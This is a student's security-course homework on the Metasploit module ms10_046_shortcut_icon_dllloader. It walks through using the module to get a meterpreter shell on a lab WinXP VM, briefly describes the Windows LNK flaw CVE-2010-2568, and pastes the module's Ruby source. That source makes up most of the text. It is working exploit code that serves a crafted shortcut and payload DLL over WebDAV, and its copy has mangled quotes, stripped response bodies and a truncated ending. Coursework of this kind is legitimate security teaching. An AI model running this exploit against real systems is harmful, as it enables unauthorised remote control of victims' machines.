Homework #3
In this homework you will pick a metasploit module and demonstrate how to use it to gain access to your WinXP VM instance. You should use the ONL topology for this homework.
In class, we used the ms_03_026_dcom module; you must choose a different one for this homework. Similarly, the Metasploit Unleashed tutorial uses ms08_067_netapi; so that one cannot be used either. Other than these constraints, you are free to choose any module so long as you are able to demonstrate that it can be used to (at a minimum) open a meterpreter session on your WinXP VM instance.
For your write-up and turn-in document, make a copy of this document, rename it to hw3-notes, and move it into your CSE 523 Google Docs collection. Use this document to complete the homework, using the space provided below.
You are to complete this homework on your own. Do not ask (or answer) questions of other students; do not discuss any aspect of this homework with any other student. Direct all questions to the TAs or me.
Your complete homework should include the following.
· An annotated transcript illustrating how to use your module of choice; include at least one screenshot at the end to demonstrate that it worked. Your transcript should be clear and easy for someone to reproduce; you can assume that a reader has the same Ubuntu/WinXP setup that you do. Your annotated transcript should be as easy to follow as exploring-msploit-notes. (You do not need to include gates.)
· Identify and briefly describe the vulnerability that is being exploited with this module. Add links to the appropriate CVE and MS bulletins.
· Find the ruby source code for the exploit module. Include both the URL to the source file at github and a copy of the ruby source code in your write-up.
· Your writeup should be organized and well-written, with proper grammar and spelling.
Do not change anything above this line. Add your homework write-up below it.
Exploit Steps
Open msfconsole
Exploit settings
I set module ms10_046_shortcut_icon_dllloader as the exploit to be used. Then set reverse_tcp as the payload.
This module will start a web server. We need to specify the server host ip address using SRVHOST. Then I also set the metasploit execution host LHOST. And use show options to check the settings.
Exploit
Use exploit command to conduct the exploit.
After executing exploit command, the server starts. When the client accesses the url, the server will send the client malicious DLL.
Access URL in the winxp
In the winxp vm, open the IE, input the url and press Enter key.
Open Meterpreter Session
When the victim client accesses the url, the server sends the malicious DLL to the client that creates the WebDAV service. The exploit is successful and it opens a meterpreter session.
Start Interaction with the meterpreter session
Now we can access the winxp system in my meterpreter session. The following shows that I cd to ‘C:\’ directory, list files in the directory and read the content in info.txt.
The following shows that I can download the file and start a program.
Vulnerability Discussion
This module exploits vulnerability described in this link https://www.symantec.com/security_response/vulnerability.jsp?bid=41732. In summary, this module creates a shortcut link that points to a malicious DLL. The winxp system has vulnerability that allows the file to automatically run which let the module to run the payload.
Modulce Source Code
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => ‘Microsoft Windows Shell LNK Code Execution’,
‘Description’ => %q{
This module exploits a vulnerability in the handling of Windows
Shortcut files (.LNK) that contain an icon resource pointing to a
malicious DLL. This module creates a WebDAV service that can be used
to run an arbitrary payload when accessed as a UNC path.
},
‘Author’ =>
[
‘hdm’, # Module itself
‘jduck’, # WebDAV implementation, UNCHOST var
‘B_H’ # Clean LNK template
],
‘License’ => MSF_LICENSE,
‘References’ =>
[
[‘CVE’, ‘2010-2568’],
[‘OSVDB’, ‘66387’],
[‘MSB’, ‘MS10-046’],
[‘URL’, ‘http://www.microsoft.com/technet/security/advisory/2286198.mspx’]
],
‘DefaultOptions’ =>
{
‘EXITFUNC’ => ‘process’,
},
‘Payload’ =>
{
‘Space’ => 2048,
},
‘Platform’ => ‘win’,
‘Targets’ =>
[
[ ‘Automatic’, { } ]
],
‘DisclosureDate’ => ‘Jul 16 2010’,
‘DefaultTarget’ => 0))
register_options(
[
OptPort.new( ‘SRVPORT’, [ true, “The daemon port to listen on (do not change)”, 80 ]),
OptString.new( ‘URIPATH’, [ true, “The URI to use (do not change).”, “/” ]),
OptString.new( ‘UNCHOST’, [ false, “The host portion of the UNC path to provide to clients (ex: 1.2.3.4).” ])
])
deregister_options(‘SSL’, ‘SSLVersion’) # Just for now
end
def on_request_uri(cli, request)
case request.method
when ‘OPTIONS’
process_options(cli, request)
when ‘PROPFIND’
process_propfind(cli, request)
when ‘GET’
process_get(cli, request)
else
print_error(“Unexpected request method encountered: #{request.method}”)
resp = create_response(404, “Not Found”)
resp.body = “”
resp[‘Content-Type’] = ‘text/html’
cli.send_response(resp)
end
end
def process_get(cli, request)
myhost = (datastore[‘SRVHOST’] == ‘0.0.0.0’) ? Rex::Socket.source_address(cli.peerhost) : datastore[‘SRVHOST’]
webdav = “\\\\#{myhost}\\”
if (request.uri =~ /\.dll$/i)
print_status “Sending DLL payload”
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_dll({ :code => p.encoded })
send_response(cli, data, { ‘Content-Type’ => ‘application/octet-stream’ })
return
end
if (request.uri =~ /\.lnk$/i)
print_status “Sending LNK file”
data = generate_link(“#{@exploit_unc}#{@exploit_dll}”)
send_response(cli, data, { ‘Content-Type’ => ‘application/octet-stream’ })
return
end
print_status “Sending UNC redirect”
resp = create_response(200, “OK”)
resp.body = %Q|
| resp[‘Content-Type’] = ‘text/html’
cli.send_response(resp)
end
#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request)
print_status(“Responding to WebDAV OPTIONS request”)
headers = {
‘MS-Author-Via’ => ‘DAV’,
# ‘DASL’ => ‘
# ‘DAV’ => ‘1, 2’,
‘Allow’ => ‘OPTIONS, GET, PROPFIND’,
‘Public’ => ‘OPTIONS, GET, PROPFIND’
}
resp = create_response(207, “Multi-Status”)
resp.body = “”
resp[‘Content-Type’] = ‘text/xml’
cli.send_response(resp)
end
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request)
path = request.uri
print_status(“Received WebDAV PROPFIND request for #{path}”)
body = ”
my_host = (datastore[‘SRVHOST’] == ‘0.0.0.0’) ? Rex::Socket.source_address(cli.peerhost) : datastore[‘SRVHOST’]
my_uri = “http://#{my_host}/”
if path =~ /\.dll$/i
# Response for the DLL
print_status(“Sending DLL multistatus for #{path} …”)
body = %Q|
|
resp = create_response(207, “Multi-Status”)
resp.body = body
resp[‘Content-Type’] = ‘text/xml’
cli.send_response(resp)
return
end
if path =~ /\.lnk$/i
# Response for the DLL
print_status(“Sending DLL multistatus for #{path} …”)
body = %Q|
|
resp = create_response(207, “Multi-Status”)
resp.body = body
resp[‘Content-Type’] = ‘text/xml’
cli.send_response(resp)
return
end
if path !~ /\/$/
if path.index(“.”)
print_status(“Sending 404 for #{path} …”)
resp = create_response(404, “Not Found”)
resp[‘Content-Type’] = ‘text/html’
cli.send_response(resp)
return
else
print_status(“Sending 301 for #{path} …”)
resp = create_response(301, “Moved”)
resp[“Location”] = path + “/”
resp[‘Content-Type’] = ‘text/html’
cli.send_response(resp)
return
end
end
print_status(“Sending directory multistatus for #{path} …”)
body = %Q|
|
subdirectory = %Q|
|
files = %Q|
|
if request[“Depth”].to_i > 0
if path.scan(“/”).length < 2
body << subdirectory
else
body << files
end
end
body << "”
body.gsub!(/\t/, ”)
# send the response
resp = create_response(207, “Multi-Status”)
resp.body = body
resp[‘Content-Type’] = ‘text/xml; charset=”utf8″‘
cli.send_response(resp)
end
def generate_link(unc)
uni_unc = unc.unpack(“C*”).pack(“v*”)
path = ”
path << [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
].pack("C*")
path << uni_unc
# LinkHeader
ret = [
0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
].pack('C*')
idlist_data = ''
idlist_data << [0x12 + 2].pack('v')
idlist_data << [
0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [0x12 + 2].pack('v')
idlist_data << [
0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [path.length + 2].pack('v')
idlist_data << path
idlist_data << [0x00].pack('v') # TERMINAL WOO
# LinkTargetIDList
ret << [idlist_data.length].pack('v') # IDListSize
ret << idlist_data
# ExtraData blocks (none)
ret << [rand(4)].pack('V')
# Patch in the LinkFlags
ret[0x14, 4] = ["10000001000000000000000000000000".to_i(2)].pack('N')
ret
end
def exploit
unc = "\\\\"
if (datastore['UNCHOST'])
unc << datastore['UNCHOST'].dup
else
unc << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
end
unc << "\\"
unc << rand_text_alpha(rand(8)+4)
unc << "\\"
@exploit_unc = unc
@exploit_lnk = rand_text_alpha(rand(8)+4) + ".lnk"
@exploit_dll = rand_text_alpha(rand(8)+4) + ".dll"
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
end
print_status("Send vulnerable clients to #{@exploit_unc}.")
print_status("Or, get clients to save and render the icon of http://
super
end
end